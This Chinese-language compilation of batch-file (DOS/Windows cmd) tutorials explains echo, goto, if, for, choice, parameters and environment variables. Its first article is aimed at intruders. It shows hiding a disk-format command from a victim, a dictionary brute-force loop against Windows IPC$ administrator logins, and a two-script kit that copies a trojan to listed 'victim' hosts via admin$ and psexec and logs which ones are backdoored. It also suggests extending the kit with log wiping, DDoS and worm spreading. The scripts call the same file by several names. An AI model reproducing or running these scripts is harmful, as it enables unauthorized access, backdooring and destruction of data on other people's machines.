批处理命令大全
批處理命令大全
1.?Echo?命令
打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo?命令將顯示當前回顯設置。
語法
echo?[{on|off}]?[message]
Sample：echo?off?/?echo?hello?world
在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用>?>>?^）結合來實現輸入一些命令到特定格式的文件中.這將在以后的例子中體現出來。
2??@?命令
表示不顯示@后面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬盤）自然不能讓對方看到你使用的命令啦。
Sample：@echo?off
@echo?Now?initializing?the?program,please?wait?a?minite...
@format?X:?/q/u/autoset?(format?這個命令是不可以使用/y這個參數的，可喜的是微軟留了個autoset這個參數給我們，效果和/y是一樣的。)
3?Goto?命令
指定跳轉到標簽，找到標簽后，程序將處理從下一行開始的命令。
語法：goto?label?（label是參數，指定所要轉向的批處理程序中的行。）?
Sample：
if?{%1}=={}?goto?noparms
if?{%2}=={}?goto?noparms（如果這里的if、%1、%2你不明白的話，先跳過去，后面會有詳細的解釋。）
@Rem?check?parameters?if?null?show?usage
:noparms
echo?Usage:?monitor.bat?ServerIP?PortNumber
goto?end
標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標簽，goto命令就是根據這個：來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem?命令
注釋命令，在C語言中相當與/*--------*/,它并不會被執行，只是起一個注釋的作用，便于別人閱讀和你自己日后修改。
Rem?Message
Sample：@Rem?Here?is?the?description.
5.Pause?命令
運行?Pause?命令時，將顯示下面的消息：?
Press?any?key?to?continue?.?.?.?
Sample：
@echo?off?
:begin?
copy?a:*.*?d：\back
echo?Please?put?a?new?disk?into?driver?A?
pause?
goto?begin?
在這個例子中，驅動器?A?中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅動器?A?時，pause?命令會使程序掛起，以便您更換磁盤，然后按任意鍵繼續處理。
6.Call?命令
從一個批處理程序調用另一個批處理程序，并且不終止父批處理程序。call?命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用?Call，它將不會在命令行起作用。
語法
call?[[Drive:][Path]?FileName?[BatchParameters]]?[:label?[arguments]]
參數
[Drive:}[Path]?FileName?
指定要調用的批處理程序的位置和名稱。filename?參數必須具有?.bat?或?.cmd?擴展名。
7.start?命令
調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數：
MIN?開始時窗口最小化
SEPARATE?在分開的空間內開始?16?位?Windows?程序
HIGH?在?HIGH?優先級類別開始應用程序
REALTIME?在?REALTIME?優先級類別開始應用程序
WAIT?啟動應用程序并等候它結束
parameters?這些為傳送到命令/程序的參數
執行的應用程序是?32-位?GUI?應用程序時，CMD.EXE?不等應用程序終止就返回命令提示。如果在命令腳本內執行，該新行為則不會發生。
8.choice?命令
choice?使用此命令可以讓用戶輸入一個字符，從而運行不同的命令。使用時應該加/c:參數，c:后應寫提示可輸入的字符，之間無空格。它的返回碼為1234……
如:?choice?/c:dme?defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的內容如下:?
@echo?off?
choice?/c:dme?defrag,mem,end?
if?errorlevel?3?goto?defrag?（應先判斷數值最高的錯誤碼）
if?errorlevel?2?goto?mem?
if?errotlevel?1?goto?end?
:defrag?
c:\dos\defrag?
goto?end?
:mem?
mem?
goto?end?
:end?
echo?good?bye
此文件運行后，將顯示?defrag,mem,end[D,M,E]??用戶可選擇d?m?e?，然后if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最后都以goto?end將程序跳到end標號處，然后程序將顯示good?bye，文件結束。
9.If?命令
if?表示將判斷是否符合規定的條件，從而決定執行不同的命令。?有三種格式:?
1、if?"參數"?==?"字符串"?待執行的命令?
參數如果等于指定的字符串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號）
如if?"%1"=="a"?format?a:?
if?{%1}=={}?goto?noparms
if?{%2}=={}?goto?noparms
2、if?exist?文件名?待執行的命令?
如果有指定的文件，則條件成立，運行命令，否則運行下一句。
如if?exist?config.sys?edit?config.sys?
3、if?errorlevel?/?if?not?errorlevel?數字?待執行的命令?
如果返回碼等于指定的數字，則條件成立，運行命令，否則運行下一句。
如if?errorlevel?2?goto?x2?
DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。
10.for?命令
for?命令是一個比較復雜的命令，主要用于參數在指定的范圍內循環執行命令。
在批處理文件中使用?FOR?命令時，指定變量請使用?%%variable
for?{%variable|%%variable}?in?(set)?do?command?[?CommandLineOptions]
%variable?指定一個單一字母可替換的參數。
(set)?指定一個或一組文件。可以使用通配符。
command?指定對每個文件執行的命令。
command-parameters?為特定命令指定參數或命令行開關。
在批處理文件中使用?FOR?命令時，指定變量請使用?%%variable
而不要用?%variable。變量名稱是區分大小寫的，所以?%i?不同于?%I
如果命令擴展名被啟用，下列額外的?FOR?命令格式會受到
支持:
FOR?/D?%variable?IN?(set)?DO?command?[command-parameters]
如果集中包含通配符，則指定與目錄名匹配，而不與文件
名匹配。
FOR?/R?[[drive:]path]?%variable?IN?(set)?DO?command?[command-
檢查以?[drive:]path?為根的目錄樹，指向每個目錄中的
FOR?語句。如果在?/R?后沒有指定目錄，則使用當前
目錄。如果集僅為一個單點(.)字符，則枚舉該目錄樹。
FOR?/L?%variable?IN?(start,step,end)?DO?command?[command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此，(1,1,5)?將產生序列?1?2?3?4?5，(5,-1,1)?將產生
序列?(5?4?3?2?1)。
FOR?/F?["options"]?%variable?IN?(file-set)?DO?command?
FOR?/F?["options"]?%variable?IN?("string")?DO?command?
FOR?/F?["options"]?%variable?IN?(command)?DO?command?
或者，如果有?usebackq?選項:
FOR?/F?["options"]?%variable?IN?(file-set)?DO?command?
FOR?/F?["options"]?%variable?IN?("string")?DO?command?
FOR?/F?["options"]?%variable?IN?(command)?DO?command?
filenameset?為一個或多個文件名。繼續到?filenameset?中的
下一個文件之前，每份文件都已被打開、讀取并經過處理。
處理包括讀取文件，將其分成一行行的文字，然后將每行
解析成零或更多的符號。然后用已找到的符號字符串變量值
調用?For?循環。以默認方式，/F?通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選?"options"
參數替代默認解析操作。這個帶引號的字符串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c?-?指一個行注釋字符的結尾(就一個)
skip=n?-?指在文件開始時忽略的行數。
delims=xxx?-?指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n?-?指每行的哪一個符號被傳遞到每個迭代
的?for?本身。這會導致額外變量名稱的
格式為一個范圍。通過?nth?符號指定?m
符號字符串中的最后一個字符星號，
那么額外的變量將在最后一個符號解析之
分配并接受行的保留文本。
usebackq?-?指定新語法已在下類情況中使用:
在作為命令執行一個后引號的字符串并且
引號字符為文字字符串命令并允許在?fi
中使用雙引號擴起文件名稱。
sample1:
FOR?/F?"eol=;?tokens=2,3*?delims=,?"?%i?in?(myfile.txt)?do?command
會分析?myfile.txt?中的每一行，忽略以分號打頭的那些行，將
每行中的第二個和第三個符號傳遞給?for?程序體；用逗號和/或
空格定界符號。請注意，這個?for?程序體的語句引用?%i?來
取得第二個符號，引用?%j?來取得第三個符號，引用?%k
來取得第三個符號后的所有剩余符號。對于帶有空格的文件
名，您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號，您還需要使用?usebackq?選項，否則，雙引號會
被理解成是用作定義某個要分析的字符串的。
%i?專門在?for?語句中得到說明，%j?和?%k?是通過
tokens=?選項專門得到說明的。您可以通過?tokens=?一行
指定最多?26?個符號，只要不試圖說明一個高于字母?z?或
Z?的變量。請記住，FOR?變量是單一字母、分大小寫和全局的；
同時不能有?52?個以上都在使用中。
您還可以在相鄰字符串上使用?FOR?/F?分析邏輯；方法是，
用單引號將括號之間的?filenameset?括起來。這樣，該字符
串會被當作一個文件中的一個單一輸入行。
最后，您可以用?FOR?/F?命令來分析命令的輸出。方法是，將
括號之間的?filenameset?變成一個反括字符串。該字符串會
被當作命令行，傳遞到一個子?CMD.EXE，其輸出會被抓進
內存，并被當作文件分析。因此，以下例子:
FOR?/F?"usebackq?delims=="?%i?IN?(`set`)?DO?@echo?%i
會枚舉當前環境中的環境變量名稱。
另外，FOR?變量參照的替換已被增強。您現在可以使用下列
選項語法:
~I?-?刪除任何引號(")，擴充?%I
%~fI?-?將?%I?擴充到一個完全合格的路徑名
%~dI?-?僅將?%I?擴充到一個驅動器號
%~pI?-?僅將?%I?擴充到一個路徑
%~nI?-?僅將?%I?擴充到一個文件名
%~xI?-?僅將?%I?擴充到一個文件擴展名
%~sI?-?擴充的路徑只含有短名
%~aI?-?將?%I?擴充到文件的文件屬性
%~tI?-?將?%I?擴充到文件的日期/時間
%~zI?-?將?%I?擴充到文件的大小
%~$PATH:I?-?查找列在路徑環境變量的目錄，并將?%I?擴充
到找到的第一個完全合格的名稱。如果環境變量
未被定義，或者沒有找到文件，此組合鍵會擴充
空字符串
可以組合修飾符來得到多重結果:
%~dpI?-?僅將?%I?擴充到一個驅動器號和路徑
%~nxI?-?僅將?%I?擴充到一個文件名和擴展名
%~fsI?-?僅將?%I?擴充到一個帶有短名的完整路徑名
%~dp$PATH:i?-?查找列在路徑環境變量的目錄，并將?%I?擴充
到找到的第一個驅動器號和路徑。
%~ftzaI?-?將?%I?擴充到類似輸出線路的?DIR
在以上例子中，%I?和?PATH?可用其他有效數值代替。%~?語法
用一個有效的?FOR?變量名終止。選取類似?%I?的大寫變量名
比較易讀，而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2：
利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。
我們用net?use?\\ip\ipc$?"password"?/u:"administrator"來嘗試這和目標主機進行連接，當成功時記下密碼。
最主要的命令是一條：for?/f?i%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%"?/u:"administrator"
用i%來表示admin的密碼，在dict.txt中這個取i%的值用net?use?命令來連接。然后將程序運行結果傳遞給find命令－－
for?/f?i%%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%%"?/u:"administrator"|find?":命令成功完成">>D:\ok.txt?，這樣就ko了。
sample3：
你有沒有過手里有大量肉雞等著你去種后門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那么如何實現呢？呵呵，看下去你就會明白了。
主要命令也只有一條：（在批處理文件中使用?FOR?命令時，指定變量使用?%%variable）
@for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?door.bat?%%i?%%j?%%k
tokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i?%j?%k。
而cultivate.bat無非就是用net?use命令來建立IPC$連接，并copy木馬＋后門到victim，然后用返回碼（If?errorlever?=）來篩選成功種植后門的主機，并echo出來，或者echo到指定的文件。
delims=?表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣的了。應該根據%%i?%%j?%%k表示的對象來排列，一般就是?ip?password?username。
代碼雛形：
---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?--------------------
@echo?off
@if?"%1"==""?goto?usage
@for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?IPChack.bat?%%i?%%j?%%k
@goto?end
:usage
@echo?run?this?batch?in?dos?modle.or?just?double-click?it.
:end
---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?--------------------
-------------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?-----------------
@net?use?\\%1\ipc$?%3?/u:"%2"
@if?errorlevel?1?goto?failed
@echo?Trying?to?establish?the?IPC$?connection?…………OK
@copy?windrv32.exe\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?USER?%2?PWD?%3?>>ko.txt
@p***ec?\\%1?c:\winnt\system32\windrv32.exe
@p***ec?\\%1?net?start?windrv32?&&?if?not?errorlevel?1?echo?%1?Backdoored?>>ko.txt
:failed
@echo?Sorry?can?not?connected?to?the?victim.
-----------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?-------------------
這只是一個自動種植后門批處理的雛形，兩個批處理和后門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
?
?
?
另一篇
BAT（批處理）文件編寫詳細手冊
?
首先，批處理文件是一個文本文件，這個文件的每一行都是一條DOS命令（大部分時候就好象我們在DOS提示符下執行的命令行一樣），你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具創建和修改批處理文件。
其次，批處理文件是一種簡單的程序，可以通過條件語句(if)和流程控制語句(goto)來控制命令運行的流程，在批處理中也可以使用循環語句?(for)來循環執行一條命令。當然，批處理文件的編程能力與C語言等編程語句比起來是十分有限的，也是十分不規范的。批處理的程序語句就是一條條的?DOS命令（包括內部命令和外部命令），而批處理的能力主要取決于你所使用的命令。
第三，每個編寫好的批處理文件都相當于一個DOS的外部命令，你可以把它所在的目錄放到你的DOS搜索路徑(path)中來使得它可以在任意位置運?行。一個良好的習慣是在硬盤上建立一個bat或者batch?目錄（例如C:\BATCH），然后將所有你編寫的批處理文件放到該目錄中，這樣只要在path中設置上c:\batch，你就可以在任意位置運行所有你?編寫的批處理程序。
第四，在DOS和Win9x/Me系統下，C:盤根目錄下的AUTOEXEC.BAT批處理文件是自動運行批處理文件，每次系統啟動時會自動運行該?文件，你可以將系統每次啟動時都要運行的命令放入該文件中，例如設置搜索路徑，調入鼠標驅動和磁盤緩存，設置系統環境變量等。下面是一個運行于?Windows?98下的autoexec.bat的示例：
@ECHO?OFF
PATH?C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH?SMARTDRV.EXE?/X
LH?DOSKEY.COM?/INSERT
LH?CTMOUSE.EXE
SET?TEMP=D:\TEMP
SET?TMP=D:\TEMP
批處理的作用
簡單的說，批處理的作用就是自動的連續執行多條命令。
這里先講一個最簡單的應用：在啟動wps軟件時，每次都必須執行（>前面內容表示DOS提示符）：
C:\>cd?wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都這樣執行一遍，您是不是覺得很麻煩呢？
好了，用批處理，就可以實現將這些麻煩的操作簡單化，首先我們編寫一個runwps.bat批處理文件，內容如下：
@echo?off
c:
cd\wps
spdos
py
wbx
wps
cd\
以后，我們每次進入wps，只需要運行runwps這個批處理文件即可。
常用命令
echo、@、call、pause、rem(小技巧：用::代替rem)是批處理文件最常用的幾個命令，我們就從他們開始學起。
echo?表示顯示此命令后的字符
echo?off?表示在此語句后所有運行的命令都不顯示命令行本身
@與echo?off相象，但它是加在每個命令行的最前面，表示運行時不顯示這一行的命令行（只能影響當前行）。
call?調用另一個批處理文件（如果不用call而直接調用別的批處理文件，那么執行完那個批處理文件后將無法返回當前文件并執行當前文件的后續命令）。
pause?運行此句會暫停批處理的執行并在屏幕上顯示Press?any?key?to?continue...的提示，等待用戶按任意鍵后繼續
rem?表示此命令后的字符為解釋行（注釋），不執行，只是給自己今后參考用的（相當于程序中的注釋）。
例1：用edit編輯a.bat文件，輸入下列內容后存盤為c:\a.bat，執行該批處理文件后可實現：將根目錄中所有文件寫入?a.txt中，啟動UCDOS，進入WPS等功能。
批處理文件的內容為:?命令注釋：
@echo?off 不顯示后續命令行及當前命令行
dir?c:\*.*?>a.txt 將c盤文件列表寫入a.txt
call?c:\ucdos\ucdos.bat 調用ucdos
echo?你好?顯示"你好"
pause?暫停,等待按鍵繼續
rem?準備運行wps?注釋：準備運行wps
cd?ucdos?進入ucdos目錄
wps?運行wps
批處理文件的參數
批處理文件還可以像C語言的函數一樣使用參數（相當于DOS命令的命令行參數），這需要用到一個參數表示符"%"。
%[1-9]表示參數，參數是指在運行批處理文件時在文件名后加的以空格（或者Tab）分隔的字符串。變量可以從%0到%9，%0表示批處理命令本身，其它參數字符串用%1到%9順序表示。
例2：C:根目錄下有一批處理文件名為f.bat，內容為：
@echo?off
format?%1
如果執行C:\>f?a:
那么在執行f.bat時，%1就表示a:，這樣format?%1就相當于format?a:，于是上面的命令運行時實際執行的是format?a:
例3：C:根目錄下一批處理文件名為t.bat，內容為:
@echo?off
type?%1
type?%2
那么運行C:\>t?a.txt?b.txt
%1?:?表示a.txt
%2?:?表示b.txt
于是上面的命令將順序地顯示a.txt和b.txt文件的內容。
特殊命令
if?goto?choice?for是批處理文件中比較高級的命令，如果這幾個你用得很熟練，你就是批處理文件的專家啦。
一、if?是條件語句，用來判斷是否符合規定的條件，從而決定執行不同的命令。?有三種格式:
1、if?[not]?"參數"?==?"字符串"?待執行的命令
參數如果等于(not表示不等，下同)指定的字符串，則條件成立，運行命令，否則運行下一句。
例：if?"%1"=="a"?format?a:
2、if?[not]?exist?[路徑\]文件名?待執行的命令
如果有指定的文件，則條件成立，運行命令，否則運行下一句。
如:?if?exist?c:\config.sys?type?c:\config.sys
表示如果存在c:\config.sys文件，則顯示它的內容。
3、if?errorlevel?<數字>?待執行的命令
很多DOS程序在運行結束后會返回一個數字值用來表示程序運行的結果(或者狀態)，通過if?errorlevel命令可以判斷程序的返回值，根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等于指定的數?字，則條件成立，運行命令，否則運行下一句。
如if?errorlevel?2?goto?x2
二、goto?批處理文件運行到這里將跳到goto所指定的標號(標號即label，標號用:后跟標準字符串來定義)處，goto語句一般與if配合使用，根據不同的條件來執行不同的命令組。
如:
goto?end
:end
echo?this?is?the?end
標號用":字符串"來定義，標號所在行不被執行。
三、choice?使用此命令可以讓用戶輸入一個字符（用于選擇），從而根據用戶的選擇返回不同的errorlevel，然后于if?errorlevel配合，根據用戶的選擇運行不同的命令。
注意：choice命令為DOS或者Windows系統提供的外部命令，不同版本的choice命令語法會稍有不同，請用choice?/?查看用法。
choice的命令語法（該語法為Windows?2003中choice命令的語法，其它版本的choice的命令語法與此大同小異）：
CHOICE?[/C?choices]?[/N]?[/CS]?[/T?timeout?/D?choice]?[/M?text]
描述:
該工具允許用戶從選擇列表選擇一個項目并返回所選項目的索引。
參數列表:
/C?choices?指定要創建的選項列表。默認列表是?"YN"。
/N 在提示符中隱藏選項列表。提示前面的消息得到顯示，選項依舊處于啟用狀態。
/CS?允許選擇分大小寫的選項。在默認情況下，這個工具是不分大小寫的。
/T?timeout?做出默認選擇之前，暫停的秒數。可接受的值是從?0?到?9999。如果指定了?0，就不會有暫停，默認選項
會得到選擇。
/D?choice 在?nnnn?秒之后指定默認選項。字符必須在用?/C?選項指定的一組選擇中;?同時，必須用?/T?指定?nnnn。
/M?text 指定提示之前要顯示的消息。如果沒有指定，工具只顯示提示。
/? 顯示幫助消息。
注意:
ERRORLEVEL?環境變量被設置為從選擇集選擇的鍵索引。列出的第一個選擇返回?1，第二個選擇返回?2，等等。如果用戶按的鍵不是有效的選擇，該工具會發出警告響聲。如果該工具檢測到錯誤狀態，它會返回?255?的ERRORLEVEL?值。如果用戶按?Ctrl+Break?或?Ctrl+C?鍵，該工具會返回?0?的?ERRORLEVEL?值。在一個批程序中使用?ERRORLEVEL?參數時，將參數降序排列。
示例:
CHOICE?/?
CHOICE?/C?YNC?/M?"確認請按?Y，否請按?N，或者取消請按?C。"
CHOICE?/T?10?/C?ync?/CS?/D?y
CHOICE?/C?ab?/M?"選項?1?請選擇?a，選項?2?請選擇?b。"
CHOICE?/C?ab?/N?/M?"選項?1?請選擇?a，選項?2?請選擇?b。"
如果我運行命令：CHOICE?/C?YNC?/M?"確認請按?Y，否請按?N，或者取消請按?C。"
屏幕上會顯示：
確認請按?Y，否請按?N，或者取消請按?C。?[Y,N,C]?
例：test.bat的內容如下（注意，用if?errorlevel判斷返回值時，要按返回值從高到低排列）:
@echo?off
choice?/C?dme?/M?"defrag,mem,end"
if?errorlevel?3?goto?end
if?errorlevel?2?goto?mem
if?errotlevel?1?goto?defrag
:defrag
c:\dos\defrag
goto?end
:mem
mem
goto?end
:end
echo?good?bye
此批處理運行后，將顯示"defrag,mem,end[D,M,E]?"?，用戶可選擇d?m?e?，然后if語句根據用戶的選擇作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個?程序段最后都以goto?end將程序跳到end標號處，然后程序將顯示good?bye，批處理運行結束。
四、for?循環命令，只要條件符合，它將多次執行同一命令。
語法：
對一組文件中的每一個文件執行某個特定命令。
FOR?%%variable?IN?(set)?DO?command?[command-parameters]
%%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters?為特定命令指定參數或命令行開關。
例如一個批處理文件中有一行:
for?%%c?in?(*.bat?*.txt)?do?type?%%c
則該命令行會顯示當前目錄下所有以bat和txt為擴展名的文件的內容。
批處理示例
1.?IF-EXIST
1)
首先用記事本在C:\建立一個test1.bat批處理文件，文件內容如下：
@echo?off
IF?EXIST?\AUTOEXEC.BAT?TYPE?\AUTOEXEC.BAT
IF?NOT?EXIST?\AUTOEXEC.BAT?ECHO?\AUTOEXEC.BAT?does?not?exist
然后運行它：
C:\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件，那么它的內容就會被顯示出來，如果不存在，批處理就會提示你該文件不存在。
2)
接著再建立一個test2.bat文件，內容如下：
@ECHO?OFF
IF?EXIST?\%1?TYPE?\%1
IF?NOT?EXIST?\%1?ECHO?\%1?does?not?exist
執行:
C:\>TEST2?AUTOEXEC.BAT
該命令運行結果同上。
說明：
(1)?IF?EXIST?是用來測試文件是否存在的，格式為
IF?EXIST?[路徑+文件名]?命令
(2)?test2.bat文件中的%1是參數，DOS允許傳遞9個批參數信息給批處理文件，分別為%1~%9(%0表示test2命令本身)?，這有點象編程中的實參和形參的關系，%1是形參，AUTOEXEC.BAT是實參。
3)?更進一步的，建立一個名為TEST3.BAT的文件，內容如下：
@echo?off
IF?"%1"?==?"A"?ECHO?XIAO
IF?"%2"?==?"B"?ECHO?TIAN
IF?"%3"?==?"C"?ECHO?XIN
如果運行：
C:\>TEST3?A?B?C
屏幕上會顯示:
XIAO
TIAN
XIN
如果運行：
C:\>TEST3?A?B
屏幕上會顯示
XIAO
TIAN
在這個命令執行過程中，DOS會將一個空字符串指定給參數%3。
2、IF-ERRORLEVEL
建立TEST4.BAT，內容如下：
@ECHO?OFF
XCOPY?C:\AUTOEXEC.BAT?D:IF?ERRORLEVEL?1?ECHO?文件拷貝失敗
IF?ERRORLEVEL?0?ECHO?成功拷貝文件
然后執行文件:
C:\>TEST4
如果文件拷貝成功，屏幕就會顯示"成功拷貝文件"，否則就會顯示"文件拷貝失敗"。
IF?ERRORLEVEL?是用來測試它的上一個DOS命令的返回值的，注意只是上一個命令的返回值，而且返回值必須依照從大到小次序順序判斷。因此下面的批處理文件是錯誤的：
@ECHO?OFF
XCOPY?C:\AUTOEXEC.BAT?D:\
IF?ERRORLEVEL?0?ECHO?成功拷貝文件
IF?ERRORLEVEL?1?ECHO?未找到拷貝文件
IF?ERRORLEVEL?2?ECHO?用戶通過ctrl-c中止拷貝操作
IF?ERRORLEVEL?3?ECHO?預置錯誤阻止文件拷貝操作
IF?ERRORLEVEL?4?ECHO?拷貝過程中寫盤錯誤
無論拷貝是否成功，后面的：
未找到拷貝文件
用戶通過ctrl-c中止拷貝操作
預置錯誤阻止文件拷貝操作
拷貝過程中寫盤錯誤
都將顯示出來。
以下就是幾個常用命令的返回值及其代表的意義：
backup
0?備份成功
1?未找到備份文件
2?文件共享沖突阻止備份完成
3?用戶用ctrl-c中止備份
4?由于致命的錯誤使備份操作中止
diskcomp
0?盤比較相同
1?盤比較不同
2?用戶通過ctrl-c中止比較操作
3?由于致命的錯誤使比較操作中止
4?預置錯誤中止比較
diskcopy
0?盤拷貝操作成功
1?非致命盤讀/寫錯
2?用戶通過ctrl-c結束拷貝操作
3?因致命的處理錯誤使盤拷貝中止
4?預置錯誤阻止拷貝操作
format
0?格式化成功
3?用戶通過ctrl-c中止格式化處理
4?因致命的處理錯誤使格式化中止
5?在提示"proceed?with?format（y/n）?"下用戶鍵入n結束
xcopy
0?成功拷貝文件
1?未找到拷貝文件
2?用戶通過ctrl-c中止拷貝操作
4?預置錯誤阻止文件拷貝操作
5?拷貝過程中寫盤錯誤
3、IF?STRING1?==?STRING2
建立TEST5.BAT，文件內容如下：
@echo?off
IF?"%1"?==?"A"?formAT?A:
執行：
C:\>TEST5?A
屏幕上就出現是否將A:盤格式化的內容。
注意：為了防止參數為空的情況，一般會將字符串用雙引號（或者其它符號，注意不能使用保留符號）括起來。
如：if?[%1]==[A]?或者?if?%1*==A*
5、GOTO
建立TEST6.BAT，文件內容如下：
@ECHO?OFF
IF?EXIST?C:\AUTOEXEC.BAT?GOTO?_COPY
GOTO?_DONE
:_COPY
COPY?C:\AUTOEXEC.BAT?D:\
:_DONE
注意：
(1)?標號前是ASCII字符的冒號":"，冒號與標號之間不能有空格。
(2)?標號的命名規則與文件名的命名規則相同。
(3)?DOS支持最長八位字符的標號，當無法區別兩個標號時，將跳轉至最近的一個標號。
6、FOR
建立C:\TEST7.BAT，文件內容如下：
@ECHO?OFF
FOR?%%C?IN?(*.BAT?*.TXT?*.SYS)?DO?TYPE?%%C
運行：
C:>TEST7
執行以后，屏幕上會將C:盤根目錄下所有以BAT、TXT、SYS為擴展名的文件內容顯示出來（不包括隱藏文件）。
win2000命令行方式批處理BAT文件技巧
文章結構
1.?所有內置命令的幫助信息
2.?環境變量的概念
3.?內置的特殊符號(實際使用中間注意避開)
4.?簡單批處理文件概念
5.?附件1?tmp.txt
6.?附件2?sample.bat
###########################
1.?所有內置命令的幫助信息
###########################
ver
cmd?/?
set?/?
rem?/?
if?/?
echo?/?
goto?/?
for?/?
shift?/?
call?/?
其他需要的常用命令
type?/?
find?/?
findstr?/?
copy?/?
下面將所有上面的幫助輸出到一個文件
echo?ver?>tmp.txt
ver?>>tmp.txt
echo?cmd?/??>>tmp.txt
cmd?/??>>tmp.txt
echo?rem?/??>>tmp.txt
rem?/??>>tmp.txt
echo?if?/??>>tmp.txt
if?/??>>tmp.txt
echo?goto?/??>>tmp.txt
goto?/??>>tmp.txt
echo?for?/??>>tmp.txt
for?/??>>tmp.txt
echo?shift?/??>>tmp.txt
shift?/??>>tmp.txt
echo?call?/??>>tmp.txt
call?/??>>tmp.txt
echo?type?/??>>tmp.txt
type?/??>>tmp.txt
echo?find?/??>>tmp.txt
find?/??>>tmp.txt
echo?findstr?/??>>tmp.txt
findstr?/??>>tmp.txt
echo?copy?/??>>tmp.txt
copy?/??>>tmp.txt
type?tmp.txt
#############################
2.?環境變量的概念
#############################
C:\Program?Files>set
ALLUSERSPROFILE=C:\Documents?and?Settings\All?Users
CommonProgramFiles=C:\Program?Files\Common?Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86?Family?6?Model?6?Stepping?5,?GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program?Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents?and?Settings\Default?User
windir=C:\WINNT
path:?表示可執行程序的搜索路徑.?我的建議是你把你的程序copy?到
%windir%\system32\.?這個目錄里面.?一般就可以自動搜索到.
語法:?copy?mychenxu.exe?%windir%\system32\.
使用點(.)?便于一目了然
對環境變量的引用使用(英文模式,半角)雙引號
%windir%?變量
%%windir%%?二次變量引用.
我們常用的還有
%temp%?臨時文件目錄
%windir%?系統目錄
%errorlevel%?退出代碼
輸出文件到臨時文件目錄里面.這樣便于當前目錄整潔.
對有空格的參數.?你應該學會使用雙引號("")?來表示比如對porgram?file文件夾操作
C:\>dir?p*
C:\?的目錄
2000-09-02?11:47?2,164?PDOS.DEF
1999-01-03?00:47?<DIR>?Program?Files
1?個文件?2,164?字節
1?個目錄?1,505,997,824?可用字節
C:\>cd?pro*
C:\Program?Files>
C:\>
C:\>cd?"Program?Files"
C:\Program?Files>
############################################
3.?內置的特殊符號(實際使用中間注意避開)
############################################
微軟里面內置了下列字符不能夠在創建的文件名中間使用
con?nul?aux?\?/?|?||?&&?^?>?<?*
You?can?use?most?characters?as?variable?values,?including?white?space.?If?you?use?the?special?characters?<,?>,?|,?&,?or?^,?you?must?precede?them?with?the?escape?character?(^)?or?quotation?marks.?If?you?use?quotation?marks,?they?are?included?as?part?of?the?value?because?everything?following?the?equal?sign?is?taken?as?the?value.?Consider?the?following?examples:
(大意:?要么你使用^作為前導字符表示.或者就只有使用雙引號""了)
To?create?the?variable?value?new&name,?type:
set?varname=new^&name
To?create?the?variable?value?"new&name",?type:
set?varname="new&name"
